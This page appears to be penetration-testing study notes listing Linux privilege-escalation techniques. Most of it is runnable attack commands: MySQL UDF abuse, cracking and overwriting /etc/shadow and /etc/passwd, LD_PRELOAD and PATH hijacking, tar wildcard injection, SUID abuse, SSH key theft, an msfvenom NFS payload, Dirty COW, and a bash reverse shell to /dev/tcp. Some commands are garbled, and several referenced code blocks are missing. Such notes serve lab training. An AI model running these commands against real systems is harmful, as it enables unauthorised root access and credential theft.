Privilege Escalation
A number of concepts for vertical and horizontal escalation
Last updated
A number of concepts for vertical and horizontal escalation
Last updated
Since the MySQL service is running as root and is accessible without a password, taking advantage of User Defined Functions (UDFs) will allow running system commands as root via the interactive service.
Steps to root include the following:
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
mysql -u root
use mysql;
create table foo(line blob);
insert into foo values(load_file('/path/to/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor/udf2.so;
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('cp /bin/bash /tmp/udfbash; chmod +xs /tmp/udfbash');
/tmp/udfbash -p
The /etc/shadow
file contains user password hashes and is usually readable only by root. If it is world-readable, it may be possible to crack the password to gain access. Shadow files can have a number of hashing algorithms depending on the OS and version, GNU/Linux is as follows:
$1$
is MD5
$2a$
is Blowfish
$2y$
is Blowfish
$5$
is SHA-256
$6$
is SHA-512
Steps to gain access:
cat /etc/shadow
john --wordlist=/usr/share/wordlists/rockyou.txt shadow
If /etc/shadow is writable, then the password of any user can be overwritten by generating a new password using the command mkpasswd
and then replacing the original.
Steps to overwrite password:
mkpasswd -m sha-512 $NEWPASS
Change the shadow file to include the new password: nano /etc/shadow
If the /etc/passwd file is writable, then the placeholder for a password hash can be overwritten in some versions of Linux thus allowing access to other users.
openssl passwd $NEWPASS
Password with salt: `openssl passwd -1 -salt $SALT $NEWPASS
Edit the x placeholder to be the new hash: nano /etc/passwd
su root
openssl passwd r00t
echo r00t:
0Wna/pt5B0TzM:0:0:r00t:/root:/bin/bash >> /etc/passwd
su r00t
List the programs which sudo allows your user to run:
sudo -l
Example Output:
Use GTFOBins along with the "sudo" tag to see if the function can be used to elevate privileges, typically via an escape sequence.
Sometimes some functions may fail to use an escape sequence but can still be useful in gaining root privileges. The following is such an example:
The program apache2
is not listed in GTFOBins and does not have a shell escape sequence. However, it can be used to read root files like in the following example: sudo apache2 -f /etc/shadow
. The resulting output of this command would be an error including the first line of the shadow file which is typically the root's password information.
Sudo can be configured to inherit environment variables from the user's environment. In the above scenario output, both LD_PRELOAD and LD_LIBRARY_PATH are inherited and can be used to escalate privileges along with one of the allowed commands.
LD_PRELOAD loads a shared object before any others when a program is run. LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.
Create shared objects using C code to get a privileged shell:
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so $CMD
A cron job is a Linux command used for scheduling tasks to be executed sometime in the future. Cron jobs exist in the /etc/crontab
file. An example looks like this:
Sometimes there are cron jobs that are owned by root and run world-writable programs. When this happens, the file can be overwritten to run malicious code instead. Consider the above example file. There exists a program called program.sh
that is being run every minute. Find it using locate
or find
and then see if its writable:
locate program.sh
- or - find / -name program.sh 2>/dev/null
ls -l program.sh
If the contents of program.sh
can be replaced, it can be used to execute any command such as a reverse shell:
Bash reverse shell: /bin/bash -c 'bash -i >& /dev/tcp/$IP/$PORT 0>&1'
Then every minute, the cron job will attempt to execute the reverse shell rather than the intended program.
Another path for exploitation is the PATH
environment variable. A cron job will attempt to use any dependent files from the earlier paths if available. If there is a writable path that exists before the path where the actual executable exists, the execution can be hijacked.
Steps for hijacking include (uses above /etc/crontab
for example):
Check the path to write new file to > PATH=/tmp:/usr/local/sbin:...
touch /tmp/program.sh
(write the above file into it)
chmod +x /tmp/program.sh
(wait for the cron job to execute)
/tmp/rootbash -p
The sample cron job shows a call by root to /usr/local/bin/compress.sh
. Printing the file shows the following:
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Create these two files in /home/user:
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=$CALLME
When the tar command in the cron job runs, the wildcard (*) will expand to include these files. Since their filenames are valid tar command line options, tar will recognize them as such and treat them as command line options rather than filenames. Depending on what callme
is, a root shell can be received within a minute.
SUID (set user identification) is a special permission that allows other users to run with the owner's privileges. SGID (set group identification) is a special file permission that also applies to executable files and enables other users to inherit the effective GID of file group owner.
Find all the SUID/SGID executables with the following command:
Simple 1 > find / -perm -4000 2>/dev/null
Simple 2 > find / -user root -perm -u=s -type f 2>/dev/null
Verbose > find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
Just like with sudo vulnerabilities, SUID binaries are vulnerable to a variety of similar exploits. Sometimes they can be exploited through shared object injection by looking for writable locations being used during runtime:
strace $BINARY 2>&1 | grep -iE "open|access|no such file"
Replace the missing or writable file with the following c code object:
Compile the code with the following command:
gcc -fPIC -shared -o /tmp/suid_so.so suid_so.c
Executing the binary now will make a call to the shared object and enter into a privileged shell.
Sometimes, a SUID binary can be exploited due to it inheriting the user's PATH variable and attempting to execute programs without specifying an absolute path. Run strings on the file to look for strings of printable characters:
strings $BINARY
If there is a line like service apache2 start
, then the path can be pointed to malicious code because it is not absolute. Compile the following code into an executable called service. This code simply spawns a Bash shell:
gcc -o service service.c
Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the binary to gain a root shell:
PATH=.:$PATH $BINARY
Verify the version of Bash installed is less than 4.2-048:
/bin/bash --version
Create a Bash function with the name of the binary (example is "/usr/sbin/service") that executes a new Bash shell (using -p so permissions are preserved) and export the function:
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
Then all it takes is running the executable to gain a root shell.
Run the executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/shellbash; chmod +xs /tmp/shellbash)' $BINARY
Run the /tmp/shellbash
executable with -p
to gain a shell running with root privileges:
/tmp/shellbash -p
Similar to SUID enabled binaries, system adminstators can also use "Capabilities" to increase the privilege level of a process. Capabilities help manage privileges at a more granular level. The tool getcap
can be used to list enabled capabilities as follows:
getcap -r / 2>/dev/null
The result may include results not found in the SUID bit search, but can still be used to escalate privilege. Once again, GTFOBins has a lot of known binaries that can be used to get root. One example is view
:
./view -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
This will execute a root shell using python3 (this needs to be :py
for Python 2).
It's always a good idea to look for keys in hidden files or directories. Files like id_rsa
and root_key
tend to have private ssh keys that can be used to ssh into a remote machine. If they are world-readable files, they can be copied over and used.
Copy it over using scp
or by doing a manual copy/paste. Then give it the correct permissions to be accepted by the SSH client:
chmod 600 root_key
Use the key to login to remote machine (note that due to the age of the box, some additional settings are required when using SSH):
ssh -i root_key -oPubkeyAcceptedKeyTypes=+ssh-rsa -oHostKeyAlgorithms=+ssh-rsa root@$IP
Files created via NFS inherit the remote user's ID. If the user is root, and root squashing is enabled, the ID will instead be set to the "nobody" user. Check the NFS share configuration:
Note that the /tmp share has root squashing disabled. On your attack box, switch to your root user if you are not already running as root. Create a mount point and mount the /tmp share:
mkdir /tmp/nfs
mount -o rw,vers=3 $IP:/tmp /tmp/nfs
Still using the attack box's root user, generate a payload using msfvenom and save it to the mounted share (this payload simply calls /bin/bash), then make it executable and set the SUID permission:
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
chmod +xs /tmp/nfs/shell.elf
Back on the remote box, as the low privileged user account, execute the file to gain a root shell:
/tmp/shell.elf
perl linux-exploit-suggester-2.pl
One popular Linux kernel exploit "Dirty COW" replaces the SUID file /usr/bin/passwd with one that spawns a shell (a backup of /usr/bin/passwd is made at /tmp/bak).
One example of Dirty COW is c0w.c
which gives the user root by injecting shellcode into a SUID file using PTRACE_POKEDATA . Compile the code and run it (note that it may take several minutes to complete):
gcc -pthread c0w.c -o c0w
./c0w
Once the exploit completes, run /usr/bin/passwd to gain a root shell:
/usr/bin/passwd
The tar command is being run with a wildcard (*) in the user's home directory. The GTFOBins page for shows that it has command line options that let you run other commands as part of a checkpoint feature. Creating a reverse shell callback with an elf file or bash file can allow a root callback for privilege escalation along with the tar exploit listed:
Run the tool to identify potential kernel exploits on the current system: